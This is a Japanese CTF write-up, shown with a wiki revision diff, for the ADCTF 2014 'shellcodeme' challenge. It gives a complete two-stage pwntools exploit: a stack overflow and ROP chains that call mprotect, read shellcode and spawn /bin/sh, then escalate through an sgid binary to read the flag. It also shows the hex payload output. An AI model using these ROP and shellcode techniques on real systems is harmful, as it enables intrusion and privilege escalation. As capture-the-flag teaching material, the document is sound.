サイズ: 8322
コメント:
|
← 2014-12-23 07:27:39時点のリビジョン4 ⇥
サイズ: 8294
コメント:
|
削除された箇所はこのように表示されます。 | 追加された箇所はこのように表示されます。 |
行 102: | 行 102: |
s += p32(0x80484fd)*4 # ret sled | s += p32(0x80484fd)*5 # ret |
行 201: | 行 201: |
s += p64(0x40062c) # call "ret" | s += DUMMY |
shellcodeme
問題
Can you execute shellcode? Really?
nc pwnable.katsudon.org 33201
解法
shellcodemeは32bitのx86バイナリである。 readで書き込む先がmmapで確保した領域ではなく,スタック上のbufポインタを含む領域になってしまっている。
ROPで0x20000000をrwxにしてからシェルコードをそこにreadして実行するのが基本的な流れである。 しかし,実際にシェルを取ってみるとflagは別のグループの所有権で置かれており,sgidビットの立ったプログラムshellcodeme2が置かれている。
% python exploit1.py [+] Opening connection to pwnable.katsudon.org on port 33201: OK [*] Switching to interactive mode $ ls -l total 16 -r--r----- 1 root shellcodeme2 34 Dec 22 22:09 flag -r-xr-sr-x 1 root shellcodeme2 8621 Dec 22 22:09 shellcodeme2 $ id uid=1000(shellcodeme) gid=1000(shellcodeme) groups=1000(shellcodeme)
道理で20日の問題と大差ないわけだ。もう一段のエクスプロイトが必要である。
shellcodeme2をダウンロードしてみると,同じソースコードを元にした64bitのamd64バイナリであった。 amd64の場合は引数をレジスタ(rdi,rsi,rdx,...)で渡すABIになっており,単に引数をスタックに積むだけでは関数を呼び出すことができない。
__libc_csu_initの最後にあるpopに注目する。
40068a: 5b pop %rbx 40068b: 5d pop %rbp 40068c: 41 5c pop %r12 40068e: 41 5d pop %r13 400690: 41 5e pop %r14 400692: 41 5f pop %r15
prefix 41が付いている命令の途中から実行すると次の四つのpop命令が得られる。
40068d: 5c pop %rsp 40068f: 5d pop %rbp 400691: 5e pop %rsi 400693: 5f pop %rdi
これにより第一引数(rdi)と第二引数(rsi)は解決した。問題は第三引数(rdx)である。 今回欲しい第三引数はmprotectに渡す7である。main関数でmmapを呼ぶときのrdxを流用できないかを考えると,GOTを書き換えてmmapが呼ばれた時点でpop; retしてROPコードに戻ってくれば良いことが分かる。
0x20000000を書き込み・実行可能にした後のシェルコードの読み込みもmain関数を流用する。書き込み先のアドレスはrbpを基準に決定されるので,rbpの値を調整することによって0x20000000からシェルコードを書き込むことが出来る。次のmprotectのジャンプ先を書き換えておけばROPコードに戻ってくることが出来る。
1 from pwn import *
2
3 DOWNLOAD_STAGE2 = False
4
5 #conn = process("./shellcodeme")
6 conn = remote("pwnable.katsudon.org", 33201)
7
8 shell_pid = -1
9 def check_shell():
10 # check whether pid is changed.
11 # or you can simply check id.
12 global shell_pid
13 try:
14 conn.clean()
15 conn.send("echo $$\n")
16 pid = int(conn.recvline()[:-1])
17 if shell_pid == pid:
18 raise Exception()
19 shell_pid = pid
20 return True
21 except:
22 return False
23
24
25 ########################## Stage 1 ##################################
26 context(arch = 'i386', os = 'linux')
27 rop = ""
28 rop += p32(0x8048330) # mprotect
29 rop += p32(0x804855d) # skip 3 words
30 rop += p32(0x20000000) # buf
31 rop += p32(1024) # length
32 rop += p32(7) # PROT_READ|PROT_WRITE|PROT_EXEC
33
34 rop += p32(0x8048340) # read
35 rop += p32(0x804855d) # skip 3 words
36 rop += p32(0x0) # stdin
37 rop += p32(0x20000000) # buf
38 rop += p32(1024) # length
39
40 rop += p32(0x20000000)
41
42 shellcode = asm(shellcraft.sh())
43
44 s = ""
45 # buf
46 s += p32(0x80484fc) # call "leave; ret" : esp <- ebp
47 # ebp - {0,4,8,12}
48 s += p32(0x80484fd)*5 # ret
49 s += rop
50
51 log.info("Stage 1")
52 print hexii(s)
53 log.waitfor("Pwning stage 1")
54
55 conn.send(s)
56 time.sleep(0.5)
57 conn.send(shellcode)
58
59 time.sleep(1)
60 if check_shell():
61 log.done_success("OK")
62 else:
63 log.done_failure("NG")
64 exit(1)
65
66 if DOWNLOAD_STAGE2:
67 log.waitfor("Downloading shellcodeme2")
68 endmarker = "EOFEOF"
69 conn.send("cat shellcodeme2; echo -n %s\n" % endmarker)
70 with open("shellcodeme2", "wb") as f:
71 f.write(conn.recvuntil(endmarker)[:-len(endmarker)])
72 log.done_success("OK")
73 exit(0)
74
75 conn.send("./shellcodeme2\n")
76
77 ########################## Stage 2 ##################################
78 context(arch = 'amd64', os = 'linux')
79
80 SKIP1 = p64(0x400692) # pop r15; ret
81 SETRBP = p64(0x40068f) # pop rbp; pop r14; pop r15; ret
82 SETRDI = p64(0x400693) # pop rdi; ret
83 SETRSI = p64(0x400691) # pop rsi; pop r15; ret
84 DUMMY = p64(0x400694) # ret
85
86 ########### ROP code #############
87 rop = ""
88 ### make buf executable ###
89 # mmap -> pop; ret
90 # read(0, mmap, *)
91 rop += SETRDI
92 rop += p64(0)
93 rop += SETRSI
94 rop += p64(0x601018) # mmap
95 rop += DUMMY
96 rop += p64(0x400490) # read
97
98 # edx = PROT_READ|PROT_WRITE|PROT_EXEC
99 rop += p64(0x4005d6)
100
101 # mprotect(0x20000000, 1024, edx)
102 rop += SETRDI
103 rop += p64(0x20000000)
104 rop += SETRSI
105 rop += p64(1024)
106 rop += DUMMY
107 rop += p64(0x4004c0) # mprotect
108
109 ### read shellcode to buf ###
110 # mprotect -> pop; ret
111 # read(0, mprotect, *)
112 # note: edx = 7 (length)
113 rop += SETRDI
114 rop += p64(0)
115 rop += SETRSI
116 rop += p64(0x601038) # mprotect
117 rop += DUMMY
118 rop += p64(0x400490) # read
119
120 # rbp = 0x20000008
121 rop += SETRBP
122 rop += p64(0x20000008)
123 rop += DUMMY
124 rop += DUMMY
125
126 # read shellcode to 0x20000000
127 # read(0, rbp-8, 1024)
128 rop += p64(0x4005ea)
129
130 ### go go go ###
131 rop += p64(0x20000000)
132
133 ########### shellcode #############
134 shellcode = ""
135 shellcode += asm("xor rdx, rdx")
136 shellcode += asm("xor rsi, rsi")
137 shellcode += asm("mov rax, `/bin/sh\\0`")
138 shellcode += asm("push rax")
139 shellcode += asm("mov rdi, rsp")
140 shellcode += asm("mov rax, SYS_execve")
141 shellcode += asm("syscall")
142
143 s = ""
144 # rbp-8: buf
145 s += p64(0x40062b) # call "leave; ret" : rsp <- rbp
146 # rbp
147 s += DUMMY
148 s += rop
149
150 log.info("Stage 2")
151 print hexii(s)
152 log.waitfor("Pwning stage 2")
153
154 conn.send(s)
155 time.sleep(0.5)
156 conn.send(SKIP1)
157 time.sleep(0.5)
158 conn.send(SKIP1[:7]) # read only 7 bytes, because edx = 7
159 time.sleep(0.5)
160 conn.send(shellcode)
161
162 time.sleep(1)
163 if check_shell():
164 log.done_success("OK")
165 else:
166 log.done_failure("NG")
167 exit(1)
168
169 conn.interactive()
% python exploit.py [+] Opening connection to pwnable.katsudon.org on port 33201: OK [*] Stage 1 00000000 fc 84 04 08 fd 84 04 08 fd 84 04 08 fd 84 04 08 | 00000010 fd 84 04 08 .0 83 04 08 .] 85 04 08 20 | 00000020 04 07 .@ 83 04 08 .] 85 04 08 | 00000030 20 04 20 | 00000040 [+] Pwning stage 1: OK [*] Stage 2 00000000 .+ 06 .@ ., 06 .@ | 00000010 93 06 .@ | 00000020 91 06 .@ 18 10 .` | 00000030 94 06 .@ 90 04 .@ | 00000040 d6 05 .@ 93 06 .@ | 00000050 20 91 06 .@ | 00000060 04 94 06 .@ | 00000070 c0 04 .@ 93 06 .@ | 00000080 91 06 .@ | 00000090 .8 10 .` 94 06 .@ | 000000a0 90 04 .@ 8f 06 .@ | 000000b0 08 20 94 06 .@ | 000000c0 94 06 .@ ea 05 .@ | 000000d0 20 | 000000d8 [+] Pwning stage 2: OK [*] Switching to interactive mode $ ls flag shellcodeme2 $ cat flag ADCTF_I_l0v3_tH15_4W350M3_m15T4K3